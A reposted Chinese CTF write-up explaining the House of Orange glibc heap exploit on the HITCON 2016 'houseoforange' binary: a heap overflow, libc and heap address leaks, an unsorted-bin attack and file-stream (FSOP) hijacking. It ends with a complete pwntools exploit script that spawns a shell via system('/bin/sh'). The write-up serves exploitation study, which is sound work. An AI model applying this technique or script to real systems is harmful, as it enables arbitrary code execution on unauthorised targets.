堆溢出-House of orange 学习笔记(看雪论坛)

转载

happylzs2008 于 2020-01-07 18:30:37 发布 443 收藏
分类专栏： 网络安全 C开源项目 计算机网络
原文链接：https://www.jianshu.com/p/4b0a73f321f9

https://www.jianshu.com/p/4b0a73f321f9

前几天把House of orange重新学习了一下，比照着glibc

malloc的源码好好分析了一下，希望做到真正做到知其然亦知其所以然,其中所做的笔记如下，可能描述上有点乱，大家将就着看一下吧。同时，我也发在了我个人博客上面 (http://blog.leanote.com/simp1e), 如果有错误的地方，请各位大牛多多指正。

0x00 程序描述

大名鼎鼎的house_of_orange程序逻辑还比较清晰的，一共可以build四次，然后每次build的话就是3次堆分配，两次malloc，一次calloc，其中一次malloc是固定分配0x10字节作为控制堆块，里面存放着name和color的信息，另外按输入分配name的大小。

```
1 int build()
2 {
3   unsigned int size; // [rsp+8h] [rbp-18h]
4   signed int color; // [rsp+Ch] [rbp-14h]
5   house *v3; // [rsp+10h] [rbp-10h]
6   _DWORD *price; // [rsp+18h] [rbp-8h]
7
8   if ( number_house > 3u )
9   {
10    puts("Too many house");
11    exit(1);
12  }
13  v3 = (house *)malloc(0x10uLL);
14  printf("Length of name :");
15  size = read_choice();
16  if ( size > 0x1000 )
17    size = 4096;
18  v3->name_ptr = (__int64)malloc(size);
19  if ( !v3->name_ptr )
20  {
21    puts("Malloc error !!!");
22    exit(1);
23  }
24  printf("Name :");
25  read_by_n((void *)v3->name_ptr, size);
26  price = calloc(1uLL, 8uLL);
27  printf("Price of Orange:", 8LL);
28  *price = read_choice();
29  show_color();
30  printf("Color of Orange:");
31  color = read_choice();
32  if ( color != 0xDDAA && (color <= 0 || color > 7) )
33  {
34    puts("No such color");
35    exit(1);
```

0x01 程序漏洞

1. 堆溢出

```
7   if ( upgrade_times > 2u )
8     return puts("You can't upgrade more");
9   if ( !qword_203068 )
10    return puts("No such house !");
11  printf("Length of name :");
12  n_len = read_choice();
13  if ( n_len > 0x1000 )
14    n_len = 0x1000;
15  printf("Name:");
16  read_by_n((void *)qword_203068->name_ptr, n_len);
17  printf("Price of Orange: ", n_len);
18  v1 = (_DWORD *)qword_203068->color_ptr;
19  *v1 = read_choice();
20  show_color();
21  printf("Color of Orange: ");
22  v3 = read_choice();
23  if ( v3 != 56746 && (v3 <= 0 || v3 > 7) )
24  {
```

在upgrade函数中，修改name时候不顾实际chunk的堆大小是多少，直接进行编辑，最大可编辑0x1000大小，因而存在溢出。

0x02 漏洞利用

这里的利用思路是4ngelboy给出，下面就直接分析这样利用的原因。

1. 信息泄露 (泄露libc地址)

因为程序中有堆的越界写，可以修改top_chunk的大小。在malloc源码里面如果申请的堆块大小超过了top_chunk的大小，将调用sysmalloc来进行分配。sysmalloc里面针对这种情况有两种处理，一种是直接mmap出来一块内存，另一种是扩展top_chunk

/*

If have mmap, and the request size meets the mmap threshold, and

the system supports mmap, and there are few enough currently

allocated mmapped regions, try to directly map this request

rather than expanding top.

*/

if ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) &&

(mp_.n_mmaps < mp_.n_mmaps_max))

{

char *mm;   /* return value from mmap call*/

try_mmap:

就是如果申请大小>=mp_.mmap_threshold,就会mmap。我们质只要申请不要过大，一般不会触发这个，这个mmap_threshold的值为128*1024。

不过下面还有两个assert需要检查，如下

old_top = av->top;

old_size = chunksize (old_top);

old_end = (char *) (chunk_at_offset (old_top, old_size));

brk = snd_brk = (char *) (MORECORE_FAILURE);

/*

If not the first time through, we require old_size to be

at least MINSIZE and to have prev_inuse set.

*/

assert ((old_top == initial_top (av) && old_size == 0) ||

((unsigned long) (old_size) >= MINSIZE &&

prev_inuse (old_top) &&

((unsigned long) old_end & pagemask) == 0));

/* Precondition: not enough current space to satisfy nb request */

assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

第一个assert就是要求修改后的top_chunk_size必须满足

top_chunk_size>MINSIZE(MINISIZE)没有查到是多少，反正不要太小都行

top_chunk需要有pre_in_use的标志，就是最后一个比特为1

还有就是(old_end &pagemask ==0)#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))这里没有太深究，应该就是top_chunk需要和原来的堆页在一个页上吧。

第二个assert就是要求

top_chunk_size小于申请分配的内存即可

满足以上四个条件之后，继续往下执行最后把原先的那个old_top给释放掉了，如下

top (av) = chunk_at_offset (heap, sizeof (*heap));

set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE);

/* Setup fencepost and free the old top chunk with a multiple of

MALLOC_ALIGNMENT in size. */

/* The fencepost takes at least MINSIZE bytes, because it might

become the top chunk again later. Note that a footer is set

up, too, although the chunk is marked in use. */

old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK;

set_head (chunk_at_offset (old_top, old_size + 2 * SIZE_SZ), 0 | PREV_INUSE);

if (old_size >= MINSIZE)

{

set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);

set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));

set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);

_int_free (av, old_top, 1);

显然，这样的free操作的话，我们就可以得到一个unsort_bin，然后之后再次分配时候如果是符合unsort_bin大小的话，就会从unsort_bin里面切出来。

```
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
                top: 0x55555577a010 (size : 0x20ff0)
      last_remainder: 0x0 (size : 0x0)
          unsortbin: 0x5555557580f0 (size : 0xef0)
gdb-peda$ x /12gx 0x5555557580f0
0x5555557580f0: 0x0000000000000000      0x0000000000000ef1
0x555555758100: 0x00007ffff7dd37b8      0x00007ffff7dd37b8
0x555555758110: 0x0000000000000000      0x0000000000000000
0x555555758120: 0x0000000000000000      0x0000000000000000
0x555555758130: 0x0000000000000000      0x0000000000000000
0x555555758140: 0x0000000000000000      0x0000000000000000
```

这样的话我们再次申请一个堆块分配到这块区域中就能泄露libc地址了，但是这里又有一个trick，如果我们分配的大小是large_chunk的话。malloc源码中还把old_top的堆地址放到了堆里面（没有细究原因，但是好像是large bin没有区分大小，需要有个字段来保存大小的原因吧），源码如下

```
96          if (in_smallbin_range (size))
97            {
98              victim_index = smallbin_index (size);
99              bck = bin_at (av, victim_index);
00              fwd = bck->fd;
01            }
02          else
03            {
04              victim_index = largebin_index (size);   在LargeBIN情况下才执行下列操作
05              bck = bin_at (av, victim_index);
06              fwd = bck->fd;
07
08              /* maintain large bins in sorted order */
09              if (fwd != bck)
10                {
11                  /* Or with inuse bit to speed comparisons */
12                  size |= PREV_INUSE;
13                  /* if smaller than smallest, bypass loop below */
14                  assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
15                  if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
16                    {
17                      fwd = bck;
18                      bck = bck->bk;
19
20                      victim->fd_nextsize = fwd->fd;                victim是自己的堆地址
21                      victim->bk_nextsize = fwd->fd->bk_nextsize;
22                      fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
23                    }
```

所以如果再次分配时候如果分配大小为largebin(也就是大于512字节)的chunk的话，就是可以既泄露libc又可以泄露heap。如下

```
gdb-peda$ x /6gx 0x555555758140-0x10
0x555555758130: 0x0000000000000000      0x0000000000000411
0x555555758140: 0x00007ffff7dd3dc8      0x00007ffff7dd3dc8
0x555555758150: 0x0000555555758130      0x0000555555758130
gdb-peda$
```

而如果分配大小不到512字节时候是无法泄露堆地址的。

```
gdb-peda$ x /12gx 0x555555758130
0x555555758130: 0x0000000000000000      0x0000000000000181
0x555555758140: 0x00007ffff7dd37b8      0x00007ffff7dd37b8
0x555555758150: 0x0000000000000000      0x0000000000000000
0x555555758160: 0x0000000000000000      0x0000000000000000
0x555555758170: 0x0000000000000000      0x0000000000000000
0x555555758180: 0x0000000000000000      0x0000000000000000
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
               top: 0x55555577a010 (size : 0x20ff0)
      last_remainder: 0x5555557582b0 (size : 0xd30)
           unsortbin: 0x5555557582b0 (size : 0xd30)
gdb-peda$
```

申请的大小的小于512时，不是largebin,没有产生指针

2. 劫持流程

File Stream Oriented Programming

我们知道有rop即retn Oriented Programming，那么其实File Stream Oriented Programming是一个道理的。也是一种劫持程序流程的方法，只不过方式是通过攻击File Stream来实现罢了。

我们先要了解malloc对错误信息的处理过程,malloc_printerr是malloc中用来打印错误的函数。

```
3345    if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0)
3346      {
3347        errstr = "malloc(): memory corruption (fast)";
3348      errout:
3349        malloc_printerr (check_action, errstr, chunk2mem (victim));
3350        return NULL;
3351      }
3352    check_remalloced_chunk (av, victim, nb);
3353    void *p = chunk2mem (victim);
```

malloc_printerr其实是调用__libc_message函数之后调用abort函数，abort函数其中调用了_IO_flush_all_lockp，这里面用到IO_FILE_ALL里面的结构，采用的是虚表调用的方式。

其中使用到了IO_FILE对象中的虚表，如果我们能够修改IO_FILE的内容那么就可以一定程度上劫持流程。
IO_FILE_ALL是一个指向IO_FILE_plus的结构指针，结构如下图所示，具体结构不需要太了解清晰，大概懂一些也就行。

```
gdb-peda$ p  *((struct _IO_FILE_plus*)0x7ffff7dd41c0)
$2 = {
  file = {
    _flags = 0xfbad2086,
    _IO_read_ptr = 0x0,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x0,
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x0,
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x7ffff7dd4400 <_IO_2_1_stdout_>,
    _fileno = 0x2,
    _flags2 = 0x0,
    _old_offset = 0xffffffffffffffff,
    _cur_column = 0x0,
    _vtable_offset = 0x0,
    _shortbuf = "",
    _lock = 0x7ffff7dd59d0 <_IO_stdfile_2_lock>,
    _offset = 0xffffffffffffffff,
    _codecvt = 0x0,
    _wide_data = 0x7ffff7dd42a0 <_IO_wide_data_2>,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    _freeres_size = 0x0,
    _mode = 0x0,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x7ffff7dd26a0 <_IO_file_jumps>
}
```

那么怎么劫持呢，这里又需要用到unsortbin attack的知识。unsortbin attack是怎么一回事呢，其实就是在malloc的过程中，unsortbin会从链表上卸下来（只要分配的大小不是fastchunk大小）

如上代码所示，就是会把bk+0x10的地方写入本unsort_bin的地址，

我们通过内存断点来观察一下是如何进行的。

断点触发之后，发现io_file_all被修改成了指向top_chunk的指针时间地址位于main_arena。

但是我们是无法控制main_arena的内容的，至少全部控制是不行的，那么怎么处理呢？

这里还是要牵扯到io_file的使用，IO_FILE结构中有一个字段是chian字段，它位于0x60偏移处,他指向的是下一个IO_FILE结构体，我们如果可以控制这个字段，就再次指定io_file的位置，它相当于是一个链表的结构

这样的话又联系到smallchunk的问题，在拆卸unsort_bin时候对属于small_bin的chunk进行了记录操作。

这个时候IO_FILE_all指向的正是main_arena的bins里面unsortbin的位置，那么偏移0x60处正好是，smallchunk的index为6的地方，也就是满足大小为16*6的chunk，所以upgrade时候需要把unsortbin设置为0x60大小。

while (fp != NULL)

{

…

fp = fp->_chain;

...

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)

#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T

|| (_IO_vtable_offset (fp) == 0

&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr

> fp->_wide_data->_IO_write_base))

#endif

)

&& _IO_OVERFLOW (fp, EOF) == EOF)

因为第一个分配在main_arena的IO_FILE_plus结构的fp->mode等值不符合要求，就会通过chains跳转到就下一个IO_FILE_plus就是我们之前设置的unsortbin，然后需要满足一下条件

fp->mode>0

_IO_vtable_offset (fp) ==0

fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

这里的话我就是把wide_data的IO_wirte_ptr就指向read_end就可以,然后就会调用虚表+0x18偏移处的函数了。

0xFE 利用exp

```
#coding:utf-8

from zio import *

from pwn import *

import mypwn

def menu(io,choice):

io.read_until('Your choice :')

io.writeline(str(choice))

def build(io,len,name,price,color):

menu(io,1)

io.read_until('name :')

io.writeline(str(len))

io.read_until('Name :')

io.write(name)

io.read_until('Price of Orange:')
```

```
io.writeline(str(price))
io.read_until(' Orange:')
io.writeline(str(color))
def see(io):
menu(io,2)
def upgrade(io,nlen,nname,nprice,ncolor):
menu(io,3)
io.read_until('name :')
io.writeline(str(nlen))
io.read_until('Name:')
io.write(nname)
io.read_until('Price of Orange:')
io.writeline(str(nprice))
io.read_until(' Orange:')
io.writeline(str(ncolor))
if __name__ == '__main__':
binary_path = "./houseoforange"
r_m = COLORED(RAW, "green")
w_m = COLORED(RAW, "blue")
target = binary_path
bin=ELF(binary_path)
io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
if target==binary_path:
l=ELF("/lib/x86_64-linux-gnu/libc.so.6")
offset_main_arena=l.symbols['__malloc_hook']+0x20
else:
pass
#l=ELF("")
#offset_main_arena
build(io,0x80,'simp1e',0x1234,0xddaa)
fake_color=p32(666)+p32(0xddaa)
```

```
overflow_name='a'*0x90+fake_color+p64(0)*2+p64(0xf31)
upgrade(io,0xb1,overflow_name,666,0xddaa)
build(io,0x1000,'1'+'\n',0x1234,0xddaa)
build(io,0x400,"a"*8,199,2)
see(io)
io.read_until('Name of house : '+'a'*8)
data=io.read_until('\n')[:-1]
io.gdb_hint()
heap_ptr=mypwn.uu64(data)
real_main_arena=heap_ptr-0x668
mypwn.log('heap_ptr',heap_ptr)
mypwn.log('real_main_arena',real_main_arena)
libc_base=real_main_arena-offset_main_arena
real_system=libc_base+l.symbols['system']
upgrade(io,0x400,"b"*0x10,666,2)
see(io)
io.read_until('Name of house : '+'b'*0x10)
data=io.read_until('\n')[:-1]
heap_ptr=mypwn.uu64(data)
mypwn.log('heap_ptr',heap_ptr)
mypwn.log('_IO_list_all',l.symbols['_IO_list_all'])
io_list_all=libc_base+l.symbols['_IO_list_all']
vtable_addr=heap_ptr + 0x530-8
payload="x"*0x400+p64(0)+p64(0x21)+p32(666)+p32(0xddaa)+p64(0)
fake_chunk='/bin/sh\x00'+p64(0x61)#why ? io_file?
fake_chunk+=p64(0xddaa)+p64(io_list_all-0x10)
fake_chunk=fake_chunk.ljust(0xa0,'\x00')
fake_chunk+=p64(heap_ptr+0x420)
fake_chunk=fake_chunk.ljust(0xc0,'\x00')
fake_chunk+=p64(1)
payload+=fake_chunk
```

```
payload += p64(0)

payload += p64(0)

payload += p64(vtable_addr)

payload += p64(1)

payload += p64(2)

payload += p64(3)

payload += p64(0)*3 # vtable

payload += p64(real_system)

upgrade(io,0x800,payload,666,2)

io.interact()
```

0xff 参考资料

http://4ngelboy.blogspot.ca/2016/10/hitcon-ctf-qual-2016-house-of-orange.html

http://www.cnblogs.com/shangye/p/6268981.html

https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/